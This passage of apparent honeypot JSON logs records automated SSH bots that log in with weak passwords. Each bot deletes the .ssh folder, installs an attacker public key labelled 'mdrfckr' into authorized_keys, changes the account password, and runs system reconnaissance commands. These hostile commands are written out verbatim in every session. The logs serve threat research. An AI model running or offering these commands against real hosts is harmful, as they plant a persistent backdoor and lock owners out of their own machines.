GNU/Linux"},{"seq":27,"at":"2026-08-27T11:25:20.077579+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:25:20.818115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:25:21.590887+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:25:22.897854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:25:23.671625+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:25:24.513272+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c8840f8d-e482-4e77-9d9f-92a5ac859bb2","name":"weathered-hollow-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55546,"username":"pc","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:23:50.913027+00:00","ended_at":"2026-08-27T11:23:52.864007+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2166,"events":[{"seq":1,"at":"2026-08-27T11:23:22.659343+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:23:22.924263+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:23:26.530820+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:23:27.871362+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:23:28.121054+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nCTC5KTNLFPD2\\nCTC5KTNLFPD2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:23:28.385584+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nCTC5KTNLFPD2\\nCTC5KTNLFPD2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:23:28.649253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:23:29.026364+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:23:30.176415+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:23:30.196012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:23:30.441963+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:23:31.715012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:23:31.983340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:23:32.983643+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:23:33.251007+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:23:35.055582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:23:35.321056+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:23:37.222435+00:00","kind":"output","latency_ms":null,"data":" 11:23:37 up 7 days, 8:13, 0 user, load average: 0.2, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:23:37.488515+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:23:38.583479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:23:38.849152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:23:40.468134+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:23:40.732913+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:23:42.489393+00:00","kind":"output","latency_ms":null,"data":"top - 11:23:42 up 7 days, 8:13, 0 user, load average: 0.2, 0.24, 0.18\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:23:42.755616+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:23:44.487774+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:23:44.755281+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:23:46.701559+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:23:46.966002+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:23:48.944632+00:00","kind":"output","latency_ms":null,"data":"pc"},{"seq":31,"at":"2026-08-27T11:23:49.209637+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:23:50.648595+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:23:50.913544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:23:52.790451+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pc","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c58e1721-0fd6-46fd-a197-2dbcadda5834","name":"somber-merry-goldfinch","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58992,"username":"jose","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:23:21.713753+00:00","ended_at":"2026-08-27T11:23:22.669445+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2151,"events":[{"seq":1,"at":"2026-08-27T11:23:01.575378+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:23:02.035188+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:23:05.560366+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:23:06.454802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:23:06.917205+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nei5VAq9DGc4e\\nei5VAq9DGc4e\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:23:07.378170+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nei5VAq9DGc4e\\nei5VAq9DGc4e\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:23:07.839014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:23:08.177741+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:23:08.638801+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:23:09.787043+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:23:10.251732+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:23:11.392739+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:23:11.855312+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:23:12.514027+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:23:12.974302+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:23:13.475552+00:00","kind":"output","latency_ms":null,"data":" 11:23:13 up 7 days, 8:13, 0 user, load average: 0.19, 0.19, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:23:13.945387+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:23:14.601264+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:23:15.066795+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:23:15.372182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:23:15.836206+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:23:16.593714+00:00","kind":"output","latency_ms":null,"data":"top - 11:23:16 up 7 days, 8:13, 0 user, load average: 0.19, 0.19, 0.2\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:23:17.053652+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:23:17.824618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:23:18.284271+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:23:18.979214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:23:19.442152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:23:19.881027+00:00","kind":"output","latency_ms":null,"data":"jose"},{"seq":29,"at":"2026-08-27T11:23:20.342807+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:23:21.255336+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:23:21.714317+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:23:22.528004+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jose","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"a75cc1be-52de-4db0-b1cf-2d5b0e5e628d","name":"lucid-rustic-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":48652,"username":"sendmail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:22:38.955943+00:00","ended_at":"2026-08-27T11:22:40.081557+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2160,"events":[{"seq":1,"at":"2026-08-27T11:22:10.394688+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:22:11.164241+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:22:18.568466+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:22:19.041572+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:22:19.803273+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sendmail\\n7nWddbOoliPC\\n7nWddbOoliPC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:22:20.560608+00:00","kind":"input","latency_ms":null,"data":"echo \"sendmail\\n7nWddbOoliPC\\n7nWddbOoliPC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:22:21.318739+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:22:21.585965+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:22:22.343644+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:22:23.347934+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:22:24.108129+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:22:25.539181+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:22:26.303859+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:22:27.144473+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:22:27.902158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:22:28.424892+00:00","kind":"output","latency_ms":null,"data":" 11:22:28 up 7 days, 8:12, 0 user, load average: 0.17, 0.19, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:22:29.192228+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:22:29.992441+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:22:30.765561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:22:31.092194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:22:31.847676+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:22:32.463021+00:00","kind":"output","latency_ms":null,"data":"top - 11:22:32 up 7 days, 8:12, 0 user, load average: 0.17, 0.19, 0.19\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:22:33.232690+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:22:33.548802+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:22:34.301710+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:22:34.855378+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:22:35.611134+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:22:36.074945+00:00","kind":"output","latency_ms":null,"data":"sendmail"},{"seq":29,"at":"2026-08-27T11:22:36.832686+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:22:38.199813+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:22:38.956464+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:22:39.842853+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sendmail","password":"sendmail","method":"password","accepted":true,"tier":"other"}]} {"id":"06819c64-1c2e-4244-8d27-8af746526dd0","name":"faded-supple-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":60158,"username":"es","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:21:53.904943+00:00","ended_at":"2026-08-27T11:21:54.796116+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2165,"events":[{"seq":1,"at":"2026-08-27T11:21:24.022249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:21:24.286062+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:21:28.351772+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:21:29.377825+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:21:29.640811+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwe123!@#\\nfO8uh9Hz9Z1b\\nfO8uh9Hz9Z1b\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:21:29.903404+00:00","kind":"input","latency_ms":null,"data":"echo \"qwe123!@#\\nfO8uh9Hz9Z1b\\nfO8uh9Hz9Z1b\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:21:30.166825+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:21:30.969403+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:21:31.617149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:21:32.038533+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:21:32.301949+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:21:34.283828+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:21:34.549240+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:21:36.661226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:21:36.924962+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:21:39.078642+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:21:39.343713+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:21:40.764163+00:00","kind":"output","latency_ms":null,"data":" 11:21:40 up 7 days, 8:11, 0 user, load average: 0.22, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:21:41.025285+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:21:42.484367+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:21:42.747226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:21:44.343613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:21:44.604720+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:21:45.475704+00:00","kind":"output","latency_ms":null,"data":"top - 11:21:45 up 7 days, 8:11, 0 user, load average: 0.22, 0.2, 0.15\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:21:45.738726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:21:47.839248+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:21:48.102122+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:21:49.776556+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:21:50.044363+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:21:51.543616+00:00","kind":"output","latency_ms":null,"data":"es"},{"seq":31,"at":"2026-08-27T11:21:51.803451+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:21:53.641936+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:21:53.906725+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:21:54.718796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"es","password":"qwe123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"24d7c804-9fde-44f8-8e50-745fa44a1dfe","name":"buoyant-frank-dingo","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:20:44.739478+00:00","ended_at":"2026-08-27T11:20:45.964341+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:20:23.973864+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:20:24.432160+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 